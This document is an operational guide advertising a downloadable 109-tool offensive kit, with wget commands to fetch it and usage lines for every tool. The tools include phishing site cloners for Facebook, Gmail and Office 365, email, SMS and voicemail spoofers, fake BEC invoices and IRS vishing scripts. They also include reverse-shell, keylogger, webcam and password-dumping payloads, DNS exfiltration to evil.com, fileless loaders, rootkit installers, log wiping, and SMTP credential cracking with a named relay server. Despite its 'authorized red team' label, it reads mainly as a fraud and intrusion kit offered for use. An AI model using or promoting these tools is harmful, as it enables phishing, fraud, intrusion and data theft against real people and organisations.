STRIKE TOOLKIT COLLECTION — COMPLETE OPERATIONAL GUIDE

By Mr Pilot Annis | Contact: t.me/rick_ene

109 Tools | 8 Toolkits | For Authorized Red Team Operations Only

TABLE OF CONTENTS

1. OVERVIEW & DOWNLOAD

All Downloads

HTTP Server: **https://tool.electronichubb.com/**

#	ZIP File	Tools	Size	wget Command
1	Toolkit_1_Recon_OSINT.zip	12	40KB	wget https://tool.electronichubb.com/Toolkit_1_Recon_OSINT.zip
2	Toolkit_2_Phishing_Social.zip	13	28KB	wget https://tool.electronichubb.com/Toolkit_2_Phishing_Social.zip
3	Toolkit_3_AD_Attack.zip	9	36KB	wget https://tool.electronichubb.com/Toolkit_3_AD_Attack.zip
4	Toolkit_4_Cloud_Attack.zip	12	28KB	wget https://tool.electronichubb.com/Toolkit_4_Cloud_Attack.zip
5	Toolkit_5_Malware_C2.zip	22	68KB	wget https://tool.electronichubb.com/Toolkit_5_Malware_C2.zip
6	Toolkit_6_Post_Exploit.zip	10	44KB	wget https://tool.electronichubb.com/Toolkit_6_Post_Exploit.zip
7	PT_Hacker_Toolkit.zip	11	48KB	wget https://tool.electronichubb.com/PT_Hacker_Toolkit.zip
8	strike_v27.zip	20	1.9MB	wget https://tool.electronichubb.com/strike_v27.zip
	TOTAL	**109**	**2.2MB**	

Quick Install (Kali)

```
cd ~/Downloads
wget https://tool.electronichubb.com/Toolkit_1_Recon_OSINT.zip
wget https://tool.electronichubb.com/Toolkit_2_Phishing_Social.zip
wget https://tool.electronichubb.com/Toolkit_3_AD_Attack.zip
wget https://tool.electronichubb.com/Toolkit_4_Cloud_Attack.zip
wget https://tool.electronichubb.com/Toolkit_5_Malware_C2.zip
wget https://tool.electronichubb.com/Toolkit_6_Post_Exploit.zip
wget https://tool.electronichubb.com/PT_Hacker_Toolkit.zip
wget https://tool.electronichubb.com/strike_v27.zip

# Extract all
mkdir -p ~/toolkits && cd ~/toolkits
for z in ~/Downloads/*.zip; do unzip -o "$z"; done

# Verify all compile
find . -name "*.py" -exec python3 -m py_compile {} \; 2>&1 | grep -i error || echo "ALL CLEAN"
```

2. TOOLKIT 1: RECON_OSINT (12 Tools)

Purpose: Reconnaissance, OSINT, target discovery, email harvesting

Main Menu: python3 recon_osint.py

Tools

recon_pipeline.py — 7-Phase Infrastructure Recon

Full target infrastructure mapping: subdomains, DNS, ports, WHOIS, MX records, SSL certs, technologies.

```
python3 recon_pipeline.py --target example.com --all-phases -o results.txt
python3 recon_pipeline.py --target example.com --phase 1  # subdomains only
proxychains4 python3 recon_pipeline.py --target example.com --all-phases
```

email_verifier.py — Email Verification

Verify if email addresses are valid via SMTP RCPT TO. Cleans lists before phishing campaigns.

```
python3 email_verifier.py --list emails.txt --output valid.txt
python3 email_verifier.py --email test@gmail.com
python3 email_verifier.py --list emails.txt --threads 10 --proxy-file proxies.txt
```

combo_builder.py — Leaked Database Combo Builder

Load leaked databases (breachcompilation.txt), filter by domain, merge:sort:dedupe.

```
python3 combo_builder.py --input breachcompilation.txt --filter @target-corp.com
python3 combo_builder.py --input leak1.txt --input2 leak2.txt --merge --dedupe
python3 combo_builder.py --input leak.txt --format userpass --output clean.txt
```

subdomain_scanner.py — Subdomain Enumeration

Brute-force subdomains using wordlist + DNS resolution.

```
python3 subdomain_scanner.py --domain example.com --wordlist subdomains.txt
python3 subdomain_scanner.py --domain example.com --threads 20 --output subs.txt
```

dns_recon.py — DNS Reconnaissance

Enumerate DNS records: A, AAAA, MX, NS, TXT, SOA, CNAME, SPF, DMARC.

```
python3 dns_recon.py --domain example.com --all-records
python3 dns_recon.py --domain example.com --record MX
python3 dns_recon.py --domain example.com --zone-transfer
```

whois_lookup.py — WHOIS & Domain Intel

WHOIS lookup, domain age, registrar info, nameserver enumeration.

```
python3 whois_lookup.py --domain example.com
python3 whois_lookup.py --ip 8.8.8.8
python3 whois_lookup.py --domain example.com --history
```

ssl_cert_scanner.py — SSL/TLS Certificate Analysis

Extract subdomains from certs, check cert validity, find related domains.

```
python3 ssl_cert_scanner.py --domain example.com --port 443
python3 ssl_cert_scanner.py --domain example.com --san  # Subject Alt Names
python3 ssl_cert_scanner.py --list domains.txt --output cert-intel.txt
```

shodan_search.py — Shodan Query Tool

Search Shodan for exposed services, open ports, vulnerable systems.

```
python3 shodan_search.py --query "org:Target Corp" --api-key YOUR_KEY
python3 shodan_search.py --query "port:22 country:US" --limit 100
python3 shodan_search.py --ip 1.2.3.4 --api-key YOUR_KEY
```

technology_fingerprint.py — Web Technology Detection

Detect web technologies: CMS, frameworks, JS libraries, server software.

```
python3 technology_fingerprint.py --url https://example.com
python3 technology_fingerprint.py --list urls.txt --output tech-report.txt
```

email_harvester.py — Email Address Harvesting

Scrape public sources for email addresses related to target domain.

```
python3 email_harvester.py --domain example.com --sources all
python3 email_harvester.py --domain example.com --output emails.txt --limit 500
```

metadata_extractor.py — Document Metadata Extraction

Extract metadata from PDFs, Office docs, images — find usernames, software versions, paths.

```
python3 metadata_extractor.py --file document.pdf
python3 metadata_extractor.py --dir /path/to/documents/ --output meta-report.txt
python3 metadata_extractor.py --file image.jpg --exif  # GPS, camera info
```

dga_detector.py — Domain Generation Algorithm Detector

Detect DGA domains (malware C2) in DNS logs or network traffic.

```
python3 dga_detector.py --domain suspicious-domain.xyz
python3 dga_detector.py --file domains.txt --output dga-results.txt
```

3. TOOLKIT 2: PHISHING_SOCIAL (13 Tools)

Purpose: Social engineering, phishing campaigns, credential harvesting

Main Menu: python3 phishing_social.py

email_spoofer.py — Email Spoofing Tool

Send emails with spoofed sender address. Supports HTML, attachments, custom headers.

```
python3 email_spoofer.py --from "ceo@target.com" --to victim@gmail.com --subject "Urgent" --body "Check this"
python3 email_spoofer.py --from "support@microsoft.com" --to targets.txt --template phishing.html
python3 email_spoofer.py --smtp 158.220.90.35 --port 587 --user aeromail_smtp --pass [PASS]
```

sms_spoofer.py — SMS Spoofing

Send SMS with spoofed sender ID via online SMS gateways.

```
python3 sms_spoofer.py --to +1234567890 --sender "PayPal" --message "Your account is locked"
python3 sms_spoofer.py --list phones.txt --sender "Bank" --message-file sms-template.txt
```

site_cloner.py — Website Cloner

Clone any website pixel-perfect for phishing. Downloads HTML, CSS, JS, images.

```
python3 site_cloner.py --url https://facebook.com/login --output fb-clone
python3 site_cloner.py --url https://gmail.com --output gmail-clone --inject capture.php
python3 site_cloner.py --url https://office365.com/login --output o365-clone --beef
```

campaign_manager.py — Phishing Campaign Manager

Multi-stage phishing campaigns: target lists, templates, scheduling, tracking.

```
python3 campaign_manager.py --new-campaign --name "Q4-Phish" --targets targets.txt
python3 campaign_manager.py --send --campaign Q4-Phish --template invoice.html
python3 campaign_manager.py --stats --campaign Q4-Phish
python3 campaign_manager.py --report --campaign Q4-Phish --format pdf
```

ai_content_generator.py — AI-Powered Phishing Content

Generate convincing phishing emails, SMS, landing page text using AI.

```
python3 ai_content_generator.py --type email --context "fake invoice from vendor"
python3 ai_content_generator.py --type sms --context "bank account verification"
python3 ai_content_generator.py --type landing --context "Office 365 password reset"
```

telegram_auto_reg.py — Telegram Auto Registration

Automate Telegram account creation via online SMS services.

```
python3 telegram_auto_reg.py --count 5 --output accounts.json
python3 telegram_auto_reg.py --api-id YOUR_ID --api-hash YOUR_HASH
```

signal_auto_reg.py — Signal Auto Registration

Automate Signal messenger account creation.

```
python3 signal_auto_reg.py --count 3 --output signal-accounts.json
```

voicemail_spoofer.py — Voicemail Spoofing

Send spoofed voicemail notifications (vishing).

```
python3 voicemail_spoofer.py --to +1234567890 --caller "IRS" --message "warrant"
```

qr_code_phisher.py — QR Code Phishing

Generate malicious QR codes that redirect to phishing pages.

```
python3 qr_code_phisher.py --url https://evil.com/fake-login --output qr.png
python3 qr_code_phisher.py --url https://evil.com/payload --output qr.svg --style wifi
```

invoice_generator.py — Fake Invoice Generator

Generate realistic-looking invoice PDFs for BEC (Business Email Compromise) attacks.

```
python3 invoice_generator.py --company "Acme Corp" --amount 48500 --account "****4521"
python3 invoice_generator.py --template wire-transfer --output invoice.pdf --logo company-
logo.png
```

smishing_kit.py — SMS Phishing Kit

Complete smishing toolkit: templates, short links, tracking.

```
python3 smishing_kit.py --template bank-alert --phone +1234567890
python3 smishing_kit.py --template package-delivery --list phones.txt --shorten
```

voice_phisher.py — Vishing (Voice Phishing) Script Generator

Generate realistic vishing scripts for different scenarios.

```
python3 voice_phisher.py --scenario bank-fraud --output script.txt
python3 voice_phisher.py --scenario tech-support --target "Microsoft" --output script.txt
python3 voice_phisher.py --scenario irs --language en --output irs-script.txt
```

social_mapper.py — Social Media Mapper

Map target's social media presence across platforms.

```
python3 social_mapper.py --email target@company.com
python3 social_mapper.py --username johndoe --platforms all
python3 social_mapper.py --name "John Doe" --company "Target Corp" --output report.txt
```

4. TOOLKIT 3: AD_ATTACK (9 Tools)

Purpose: Active Directory penetration, internal network attacks

Main Menu: python3 ad_attack.py

kerberoast.py — Kerberoasting Attack

Request Kerberos service tickets for SPN accounts, extract for offline cracking.

```
python3 kerberoast.py --domain target.local --user user --pass pass --output hashes.txt
python3 kerberoast.py --domain target.local --dc-ip 10.0.0.1 --spn-filter "MSSQL*"
proxychains4 python3 kerberoast.py --domain target.local --user user --pass pass
```

asreproast.py — AS-REP Roasting

Find accounts with "Don't require Kerberos preauth" and crack their hashes.

```
python3 asreproast.py --domain target.local --dc-ip 10.0.0.1 --users users.txt
python3 asreproast.py --domain target.local --dc-ip 10.0.0.1 --output asrep-hashes.txt
```

bloodhound_collector.py — BloodHound Data Collector

Collect AD data for BloodHound analysis: users, groups, sessions, ACLs, trusts.

```
python3 bloodhound_collector.py --domain target.local --user user --pass pass --output bh-data
python3 bloodhound_collector.py --domain target.local --dc-ip 10.0.0.1 --method ldap
```

llmnr_poison.py — LLMNR/NBT-NS Poisoning

Poison LLMNR/NBT-NS to capture NTLM hashes on local network.

```
python3 llmnr_poison.py --interface eth0 --output captured-hashes.txt
python3 llmnr_poison.py --interface eth0 --capture-ntlm --wpad
```

ntlm_relay.py — NTLM Relay Attack

Relay captured NTLM authentication to other services.

```
python3 ntlm_relay.py --target 10.0.0.5 --interface eth0
python3 ntlm_relay.py --targets target-list.txt --interface eth0 --exec-command "whoami"
```

pass_the_hash.py — Pass-the-Hash Attack

Authenticate using NTLM hash instead of password.

```
python3 pass_the_hash.py --target 10.0.0.5 --user admin --hash
aad3b435b51404eeaad3b435b51404ee:5fbc3d52b347425f
python3 pass_the_hash.py --target 10.0.0.5 --user admin --hash HASH --command "net user"
```

pass_the_ticket.py — Pass-the-Ticket Attack

Use Kerberos tickets (TGT/TGS) for authentication without password.

```
python3 pass_the_ticket.py --ticket ticket.kirbi --target 10.0.0.5
python3 pass_the_ticket.py --ccache ticket.ccache --spn cifs/server.target.local
```

ad_enum.py — Active Directory Enumeration

Enumerate AD: users, groups, computers, GPOs, trusts, OUs.

```
python3 ad_enum.py --domain target.local --user user --pass pass --all
python3 ad_enum.py --domain target.local --dc-ip 10.0.0.1 --users --groups --computers
python3 ad_enum.py --domain target.local --dc-ip 10.0.0.1 --gpo --trusts
```

gpo_abuse.py — Group Policy Object Abuse

Find and exploit misconfigured GPOs for privilege escalation.

```
python3 gpo_abuse.py --domain target.local --user user --pass pass --find
python3 gpo_abuse.py --domain target.local --gpo-id "GUID" --add-admin newuser
```

5. TOOLKIT 4: CLOUD_ATTACK (12 Tools)

Purpose: AWS, Azure, GCP exploitation and misconfiguration hunting

Main Menu: python3 cloud_attack.py

aws_enum.py — AWS Enumeration

Enumerate AWS accounts, users, roles, policies, S3 buckets.

```
python3 aws_enum.py --access-key AKIA... --secret-key SECRET --region us-east-1
python3 aws_enum.py --role-arn arn:aws:iam::123456789:role/Admin --enumerate
python3 aws_enum.py --bucket target-backups --list --download
```

aws_privilege_escalation.py — AWS PrivEsc

Find and exploit IAM misconfigurations for privilege escalation.

```
python3 aws_privilege_escalation.py --access-key AKIA... --secret-key SECRET
python3 aws_privilege_escalation.py --check-all --output privesc-paths.txt
```

azure_ad_enum.py — Azure AD Enumeration

Enumerate Azure AD: users, groups, apps, service principals, roles.

```
python3 azure_ad_enum.py --tenant-id TENANT --client-id APP_ID --client-secret SECRET
python3 azure_ad_enum.py --domain target.com --enumerate-users --output users.txt
python3 azure_ad_enum.py --token TOKEN --enumerate-apps --output apps.txt
```

azure_token_hunter.py — Azure Token Hunter

Find and extract Azure tokens from various sources.

```
python3 azure_token_hunter.py --source vscode --output tokens.txt
python3 azure_token_hunter.py --source azure-cli --refresh
python3 azure_token_hunter.py --token TOKEN --enumerate --output report.txt
```

gcp_enum.py — GCP Enumeration

Enumerate GCP projects, service accounts, storage buckets, compute instances.

```
python3 gcp_enum.py --key-file service-account.json --enumerate
python3 gcp_enum.py --project target-project --buckets --list-contents
python3 gcp_enum.py --project target-project --compute --instances
```

cloud_bucket_hunter.py — Cloud Storage Bucket Hunter

Find open/misconfigured cloud storage buckets across AWS, GCP, Azure.

```
python3 cloud_bucket_hunter.py --company "Target Corp" --output buckets.txt
python3 cloud_bucket_hunter.py --wordlist bucket-names.txt --check-all
python3 cloud_bucket_hunter.py --bucket target-data --list --download --output data/
```

oauth_abuse.py — OAuth Consent Grant Attack

Generate malicious OAuth app URLs for consent grant phishing.

```
python3 oauth_abuse.py --client-id APP_ID --redirect https://evil.com/callback --scope mail.read
python3 oauth_abuse.py --generate-url --target office365 --output phish-url.txt
```

metadata_exploit.py — Cloud Metadata SSRF Exploitation

Exploit cloud metadata endpoints (169.254.169.254) via SSRF to steal IAM credentials.

```
python3 metadata_exploit.py --url http://target.com/vulnerable?url=
python3 metadata_exploit.py --url http://169.254.169.254/latest/meta-data/iam/security-
credentials/
python3 metadata_exploit.py --ssrf-param "url" --target http://target.com/api/fetch
```

serverless_scanner.py — Serverless Function Scanner

Scan for exposed serverless functions (Lambda, Azure Functions, Cloud Functions).

```
python3 serverless_scanner.py --target https://api.target.com --endpoints endpoints.txt
python3 serverless_scanner.py --aws-region us-east-1 --access-key AKIA... --secret-key SECRET
```

container_escape.py — Container Escape Detection

Detect container escape vulnerabilities in Docker/Kubernetes environments.

```
python3 container_escape.py --check-all
python3 container_escape.py --kubernetes --namespace default
python3 container_escape.py --docker --socket /var/run/docker.sock
```

cloudtrail_analyzer.py — CloudTrail Log Analyzer

Analyze AWS CloudTrail logs for suspicious activity and misconfigurations.

```
python3 cloudtrail_analyzer.py --log-dir /path/to/cloudtrail/ --output report.txt
python3 cloudtrail_analyzer.py --log-file log.json --find "ConsoleLogin"
python3 cloudtrail_analyzer.py --detect-anomalies --baseline 30days
```

terraform_state_hunter.py — Terraform State File Hunter

Find and extract credentials from exposed Terraform state files.

```
python3 terraform_state_hunter.py --url https://target.com/terraform.tfstate
python3 terraform_state_hunter.py --file terraform.tfstate --extract-creds
python3 terraform_state_hunter.py --s3-bucket target-terraform --list
```

6. TOOLKIT 5: MALWARE_C2 (22 Tools)

Purpose: Payload generation, command & control, implants

Main Menu: python3 malware_c2.py

Payload Generators

payload_generator.py — Universal Payload Generator

Generate reverse shell payloads for Windows, Linux, Mac, Android.

```
python3 payload_generator.py --os windows --type reverse_tcp --lhost YOUR_IP --lport 4444 --
output payload.exe
python3 payload_generator.py --os linux --type reverse_ssh --lhost YOUR_IP --lport 2222 --output
payload.elf
python3 payload_generator.py --os android --type reverse_tcp --lhost YOUR_IP --lport 4444 --
output payload.apk
python3 payload_generator.py --os mac --type reverse_https --lhost YOUR_IP --lport 443 --output
payload.macho
```

pdf_payload.py — PDF with Embedded Payload

Create PDF files with embedded reverse shell payload. Victim opens PDF → callback to your C2.

```
python3 pdf_payload.py --lhost YOUR_IP --lport 4444 --output invoice.pdf
python3 pdf_payload.py --lhost YOUR_IP --lport 4444 --template resume --output resume.pdf
python3 pdf_payload.py --lhost YOUR_IP --lport 4444 --embed-type javascript --output report.pdf
```

office_macro_generator.py — Office Macro Payload Generator

Generate Word/Excel documents with malicious macros that execute on open.

```
python3 office_macro_generator.py --type word --lhost YOUR_IP --lport 4444 --output invoice.docm
python3 office_macro_generator.py --type excel --lhost YOUR_IP --lport 4444 --output budget.xlsm
python3 office_macro_generator.py --type word --template "shipping notice" --output notice.docm
python3 office_macro_generator.py --type excel --template "salary review" --output salary.xlsm
```

html_smuggler.py — HTML Smuggling Payload

Create HTML files that silently download and execute payload when opened in browser.

```
python3 html_smuggler.py --payload payload.exe --output download.html
python3 html_smuggler.py --payload payload.exe --output download.html --mime application/pdf
python3 html_smuggler.py --lhost YOUR_IP --lport 4444 --generate-payload --output smuggle.html
```

iso_generator.py — Malicious ISO/IMG Generator

Create ISO files that bypass Mark-of-the-Web and auto-execute payload.

```
python3 iso_generator.py --payload payload.exe --output software.iso
python3 iso_generator.py --payload payload.exe --output update.img --autorun
python3 iso_generator.py --payload payload.exe --lnk-name "README.lnk" --output docs.iso
```

lnk_payload.py — Malicious LNK Shortcut Generator

Create shortcut files (.lnk) that execute hidden payload when double-clicked.

```
python3 lnk_payload.py --payload payload.exe --icon pdf --name "Invoice.pdf.lnk" --output
invoice.lnk
python3 lnk_payload.py --payload payload.exe --icon folder --name "Documents.lnk" --output
docs.lnk
```

C2 Framework

c2_server.py — Command & Control Server

Multi-platform C2 server with reverse shell handler, file transfer, session management.

```
python3 c2_server.py --host 0.0.0.0 --port 4444 --ssl
python3 c2_server.py --host 0.0.0.0 --port 443 --ssl --cert cert.pem --key key.pem
python3 c2_server.py --host 0.0.0.0 --port 4444 --telegram --bot-token TOKEN --chat-id ID
```

c2_handler.py — C2 Session Handler

Manage active C2 sessions: interact, execute commands, transfer files.

```
python3 c2_handler.py --list-sessions
python3 c2_handler.py --interact SESSION_ID
python3 c2_handler.py --interact SESSION_ID --exec "whoami /all"
python3 c2_handler.py --interact SESSION_ID --upload /local/file.txt --remote C:\\temp\\file.txt
python3 c2_handler.py --interact SESSION_ID --download C:\\temp\\secret.txt
```

implant_manager.py — Implant/Agent Manager

Manage persistent implants on compromised hosts.

```
python3 implant_manager.py --list
python3 implant_manager.py --deploy --target SESSION_ID --implant persistent
python3 implant_manager.py --beacon --interval 60 --jitter 10
python3 implant_manager.py --kill --implant-id ID
```

Post-Exploitation Payloads

keylogger.py — Keylogger Payload

Keystroke logger that sends captured keys to C2 server.

```
python3 keylogger.py --lhost YOUR_IP --lport 4444 --output keylogger.exe
python3 keylogger.py --lhost YOUR_IP --lport 4444 --stealth --output kl.exe
```

screenshot_payload.py — Screenshot Capture Payload Periodic screenshot capture and exfiltration to C2.

```
python3 screenshot_payload.py --lhost YOUR_IP --lport 4444 --interval 300 --output scr.exe
```

webcam_grabber.py — Webcam Capture Payload

Capture webcam images and send to C2 server.

```
python3 webcam_grabber.py --lhost YOUR_IP --lport 4444 --interval 600 --output cam.exe
```

password_dumper.py — Password Dump Payload

Dump saved passwords from browsers, WiFi, Windows credential manager.

```
python3 password_dumper.py --lhost YOUR_IP --lport 4444 --browsers all --output dump.exe
python3 password_dumper.py --lhost YOUR_IP --lport 4444 --wifi --rdp --output creds.exe
```

persistence_mechanisms.py — Persistence Installer

Install various persistence mechanisms on compromised host.

```
python3 persistence_mechanisms.py --method registry --payload payload.exe --output persist.exe
python3 persistence_mechanisms.py --method scheduled-task --payload payload.exe --output
persist.exe
python3 persistence_mechanisms.py --method wmi --payload payload.exe --output persist.exe
python3 persistence_mechanisms.py --method startup-folder --payload payload.exe --output
persist.exe
```

lateral_movement.py — Lateral Movement Payload

Move laterally across network using various techniques.

```
python3 lateral_movement.py --method wmi --targets 10.0.0.0/24 --command "payload.exe"
python3 lateral_movement.py --method smb --targets targets.txt --payload payload.exe
python3 lateral_movement.py --method winrm --targets targets.txt --command "whoami"
```

data_exfiltrator.py — Data Exfiltration Tool

Stealthily exfiltrate sensitive files from compromised host.

```
python3 data_exfiltrator.py --lhost YOUR_IP --lport 4444 --paths "C:\\Users\\*\\Documents" --
output exfil.exe
python3 data_exfiltrator.py --lhost YOUR_IP --lport 4444 --file-types pdf,docx,xlsx --output
exfil.exe
python3 data_exfiltrator.py --lhost YOUR_IP --lport 4444 --dns-exfil --domain evil.com --output
exfil.exe
```

ransomware_sim.py — Ransomware Simulation (Safe)

Simulate ransomware behavior for testing (does NOT actually encrypt — safe for lab).

```
python3 ransomware_sim.py --target /path/to/test/dir --simulate
python3 ransomware_sim.py --target /path/to/test/dir --note "PAY 1 BTC" --simulate
```

rootkit_detector.py — Rootkit Detection

Detect common rootkits and hidden processes on compromised systems.

```
python3 rootkit_detector.py --scan-all
python3 rootkit_detector.py --check-processes --check-drivers --check-hooks
```

anti_analysis.py — Anti-Analysis / Evasion

Detect sandboxes, VMs, debuggers. Evade analysis.

```
python3 anti_analysis.py --check-vm --check-sandbox --check-debugger
python3 anti_analysis.py --generate-evasion --output evasion.py
```

fileless_exec.py — Fileless Execution

Execute payload entirely in memory — no file written to disk.

```
python3 fileless_exec.py --payload-url http://YOUR_IP/payload.bin --method reflective-dll
python3 fileless_exec.py --payload-url http://YOUR_IP/payload.bin --method powershell
python3 fileless_exec.py --payload-url http://YOUR_IP/payload.bin --method dotnet
```

dns_tunnel.py — DNS Tunneling C2

C2 communication via DNS queries — bypasses most firewalls.

```
python3 dns_tunnel.py --server --domain c2.evil.com --port 53
python3 dns_tunnel.py --client --domain c2.evil.com --lhost YOUR_IP --lport 4444
```

icmp_tunnel.py — ICMP Tunneling C2

C2 communication via ICMP ping packets.

```
python3 icmp_tunnel.py --server --interface eth0
python3 icmp_tunnel.py --client --target 10.0.0.1 --lhost YOUR_IP --lport 4444
```

steganography_tool.py — Steganography Payload Hiding

Hide payload inside images, audio files, or documents.

```
python3 steganography_tool.py --hide --carrier image.png --payload payload.exe --output
secret.png
python3 steganography_tool.py --extract --carrier secret.png --output extracted_payload.exe
python3 steganography_tool.py --hide --carrier audio.wav --payload payload.exe --output
secret.wav
```

7. TOOLKIT 6: POST_EXPLOIT (10 Tools)

Purpose: Post-exploitation, privilege escalation, lateral movement, data harvesting

Main Menu: python3 post_exploit.py

privesc_linux.py — Linux Privilege Escalation

Automated Linux privesc: SUID, cron, capabilities, kernel exploits, sudo misconfigs.

```
python3 privesc_linux.py --scan-all
python3 privesc_linux.py --check-suid --check-capabilities --check-cron
python3 privesc_linux.py --exploit CVE-2021-4034  # PwnKit
python3 privesc_linux.py --kernel-auto  # auto-detect kernel exploit
```

privesc_windows.py — Windows Privilege Escalation

Automated Windows privesc: token abuse, service misconfigs, registry, DLL hijacking.

```
python3 privesc_windows.py --scan-all
python3 privesc_windows.py --check-token --check-services --check-registry
python3 privesc_windows.py --check-dll-hijack --check-always-install-elevated
python3 privesc_windows.py --exploit PrintSpooler  # PrintNightmare
```

credential_harvester.py — Credential Harvester

Harvest credentials from various sources on compromised host.

```
python3 credential_harvester.py --all
python3 credential_harvester.py --browsers --wifi --rdp --vpn
python3 credential_harvester.py --memory --dump-lsass --output creds.txt
python3 credential_harvester.py --mimikatz --output hashes.txt
```

network_scanner.py — Internal Network Scanner

Scan internal network for other hosts, services, shares.

```
python3 network_scanner.py --range 10.0.0.0/24 --quick
python3 network_scanner.py --range 10.0.0.0/24 --full --output network-map.txt
python3 network_scanner.py --range 10.0.0.0/24 --shares --smb --nfs
```

share_enum.py — Network Share Enumeration

Enumerate and access SMB/NFS shares across the network.

```
python3 share_enum.py --targets 10.0.0.0/24 --shares --download
python3 share_enum.py --target 10.0.0.5 --user admin --pass pass --list --download-sensitive
python3 share_enum.py --targets targets.txt --find "password" --find "secret" --find "backup"
```

log_cleaner.py — Log Cleanup / Anti-Forensics

Clean event logs, bash history, and other forensic artifacts.

```
python3 log_cleaner.py --all
python3 log_cleaner.py --windows-event-logs
python3 log_cleaner.py --linux-syslog --bash-history --wtmp
python3 log_cleaner.py --timestomp --file secret.exe --date "2024-01-01 08:00:00"
```

data_hunter.py — Sensitive Data Hunter

Find sensitive files: credentials, databases, configs, PII, source code.

```
python3 data_hunter.py --scan /home --patterns "password,secret,key,token"
python3 data_hunter.py --scan C:\ --extensions sql,config,ini,env,ppk
python3 data_hunter.py --scan / --pii --output sensitive-files.txt
python3 data_hunter.py --scan / --credit-cards --ssn --output pii-report.txt
```

tunnel_creator.py — Network Tunneling

Create tunnels for pivoting through compromised hosts.

```
python3 tunnel_creator.py --socks --local-port 1080 --target 10.0.0.5
python3 tunnel_creator.py --reverse --local-port 4444 --remote-port 8443 --target 10.0.0.5
python3 tunnel_creator.py --port-forward --local 8080 --remote 10.0.0.10:80 --pivot 10.0.0.5
```

golden_ticket.py — Golden/Silver Ticket Attack

Create forged Kerberos tickets for persistent AD access.

```
python3 golden_ticket.py --domain target.local --krbtgt-hash HASH --user fakeadmin --output
golden.kirbi
python3 golden_ticket.py --domain target.local --dc-ip 10.0.0.1 --silver --spn cifs/server --
output silver.kirbi
```

rootkit_installer.py — Rootkit Installation

Install rootkit for persistent hidden access (educational/authorized use only).

```
python3 rootkit_installer.py --type userland --method ld-preload --output rootkit.so
python3 rootkit_installer.py --type kernel --method sys-call-hook --output rootkit.ko
```

8. STRIKE TOOLKIT v27 (20 Tools)

Purpose: Email infrastructure attacks, SMTP exploitation, phishing, defacement monitoring

Main Menu: python3 strike.py

Key Tools

strike_smtp.py — SMTP Scanner & Cracker

Scan for open SMTP servers, enumerate users, crack credentials.

```
python3 strike_smtp.py
# Mode 1: Scan for open SMTP
# Mode 2: Scan + Enum (52 usernames)
# Mode 3: Enum only
# Mode 4: Crack only (Auto-IQ wordlist)
# Mode 5: Full pipeline
# Mode 6: Email verifier
# --resume to continue interrupted cracks
```

zoneh_grabber.py — Zone-H Defacement Grabber

Scrape Zone-H for defacement archives. Requires browser cookies after captcha.

```
python3 zoneh_grabber.py
# Mode 1: Published
# Mode 2: Unpublished/Onhold
# Mode 3: Special
# Mode 4: All
# Enter PHPSESSID from browser AFTER solving captcha
```

phishing_lab.py — Evilginx Phishing Framework

Full Evilginx-style phishing with BeEF hook, credential capture, Telegram alerts.

```
python3 phishing_lab.py --template microsoft --target portal.office.com
python3 phishing_lab.py --template google --target accounts.google.com
python3 phishing_lab.py --template facebook --target facebook.com/login
python3 phishing_lab.py --list-templates
# Create telegram.json with bot_token + chat_id for alerts
```

email_encryptor.py — Email Encryption Tool

AES-256-GCM, TLS, S/MIME email encryption.

```
python3 email_encryptor.py --encrypt --aes256 --input message.txt --output encrypted.aes
python3 email_encryptor.py --encrypt --smime --cert cert.pem --input message.txt --output
encrypted.p7m
python3 email_encryptor.py --decrypt --aes256 --key KEY --input encrypted.aes --output
message.txt
```

9. PT-HACKER TOOLKIT (11 Tools)

Purpose: Penetration testing utilities, network tools, exploit helpers

Main Menu: python3 pt_hacker.py

port_scanner.py — Advanced Port Scanner

Multi-threaded port scanner with service detection.

```
python3 port_scanner.py --target 10.0.0.1 --ports 1-65535 --threads 100
python3 port_scanner.py --target 10.0.0.1 --top-100 --service-detect
python3 port_scanner.py --targets targets.txt --ports 22,80,443,3389 --output scan.txt
```

vuln_scanner.py — Vulnerability Scanner

Scan for common vulnerabilities: CVEs, misconfigurations, default creds.

```
python3 vuln_scanner.py --target 10.0.0.1 --scan-all
python3 vuln_scanner.py --target 10.0.0.1 --cve-scan
python3 vuln_scanner.py --target 10.0.0.1 --default-creds
```

exploit_helper.py — Exploit Helper

Search for and configure exploits for discovered vulnerabilities.

```
python3 exploit_helper.py --search "Apache 2.4"
python3 exploit_helper.py --search CVE-2021-44228  # Log4Shell
python3 exploit_helper.py --configure --exploit MS17-010 --lhost YOUR_IP --lport 4444
```

password_analyzer.py — Password Strength Analyzer

Analyze password strength, generate wordlists, crack hashes.

```
python3 password_analyzer.py --analyze "P@ssw0rd123"
python3 password_analyzer.py --generate --target-profile "John Doe, Company XYZ"
python3 password_analyzer.py --crack --hash HASH --wordlist rockyou.txt
```

network_sniffer.py — Network Packet Sniffer

Capture and analyze network traffic, extract credentials from packets.

```
python3 network_sniffer.py --interface eth0 --filter "tcp port 80" --output capture.pcap
python3 network_sniffer.py --interface eth0 --extract-creds --output creds.txt
python3 network_sniffer.py --pcap capture.pcap --analyze --output report.txt
```

wifi_auditor.py — WiFi Security Auditor

Audit WiFi networks: WPA handshake capture, deauth, PMKID.

```
python3 wifi_auditor.py --interface wlan0mon --scan
python3 wifi_auditor.py --interface wlan0mon --target BSSID --deauth --capture
python3 wifi_auditor.py --handshake capture.hccapx --wordlist rockyou.txt
```

web_app_scanner.py — Web Application Scanner

Scan web apps for OWASP Top 10 vulnerabilities.

```
python3 web_app_scanner.py --url https://target.com --scan-all
python3 web_app_scanner.py --url https://target.com --sqli --xss --ssrf
python3 web_app_scanner.py --url https://target.com --output report.html
```

reverse_shell_generator.py — Reverse Shell Generator

Generate reverse shells in multiple languages.

```
python3 reverse_shell_generator.py --type python --lhost YOUR_IP --lport 4444
python3 reverse_shell_generator.py --type bash --lhost YOUR_IP --lport 4444
python3 reverse_shell_generator.py --type powershell --lhost YOUR_IP --lport 4444
python3 reverse_shell_generator.py --type all --lhost YOUR_IP --lport 4444
```

brute_forcer.py — Multi-Service Brute Forcer

Brute force SSH, FTP, RDP, MySQL, PostgreSQL, SMB.

```
python3 brute_forcer.py --service ssh --target 10.0.0.1 --user admin --wordlist passwords.txt
python3 brute_forcer.py --service rdp --target 10.0.0.1 --user admin --wordlist passwords.txt
python3 brute_forcer.py --service ftp --target 10.0.0.1 --user-list users.txt --pass-list
passes.txt
proxychains4 python3 brute_forcer.py --service ssh --target 10.0.0.1 --user admin --wordlist
passes.txt
```

report_generator.py — Pentest Report Generator

Generate professional penetration testing reports.

```
python3 report_generator.py --template pentest --findings findings.json --output report.pdf
python3 report_generator.py --template bugbounty --findings findings.json --output report.md
python3 report_generator.py --template executive --findings findings.json --output executive-
summary.pdf
```

